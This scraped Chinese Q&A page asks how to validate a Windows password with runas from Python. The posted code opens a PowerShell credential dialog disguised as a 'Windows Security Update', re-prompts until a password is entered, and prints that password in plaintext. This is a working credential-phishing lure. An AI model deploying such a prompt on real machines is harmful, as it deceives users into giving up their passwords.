Python powershell Runas 验证

问题描述

对于我的代码,我需要验证输入的 Windows 密码是否有效。我想用子流程来做到这一点。 Runas 函数检查实现的密码是否正确。但是我如何填写密码(等于可变响应)并取回该响应。它就像一个双向的事情,首先它必须提示用户输入密码,然后保存这个密码。之后它使用 runas 并应该给出密码来检查给出的密码是否正确。所以:

  1. 输入cmd:runas /user:Administrator cmd

  2. cmd 返回:输入管理员密码

  3. 程序将密码填入给定变量“response”

  4. 程序检查输出以了解输入的密码是否正确

问题是如何执行第 3 步

import sys
import subprocess

response = ''

def run_command(command):
    try:
        subp = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        subp_output,errors = subp.communicate()
        if not errors:
            if subp_output == '':
                return '[+] Command successfully executed.\n'
            else:
                return subp_output
        return format(errors)
    except KeyboardInterrupt:
        print("Terminated command.")

while True:
    cmd1 = "$cred=$host.ui.promptforcredential('Windows Security Update','',[Environment]::UserName,[Environment]::UserDomainName);"
    cmd2 = 'echo $cred.getnetworkcredential().password;'
    full_cmd = 'Powershell "{} {}"'.format(cmd1,cmd2)
    response = run_command(full_cmd)
    #check = "runas / user:Administrator cmd"
    #checked = run_command(check)
    #USE RUNAS OUTPUT TRUE TO BREAK LOOP
    if len(response.strip()) >= 7: # MINIMAL PASSWORD LENGTH
        break
response = '[+] Password: {}'.format(response.strip().decode())
print(response)

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)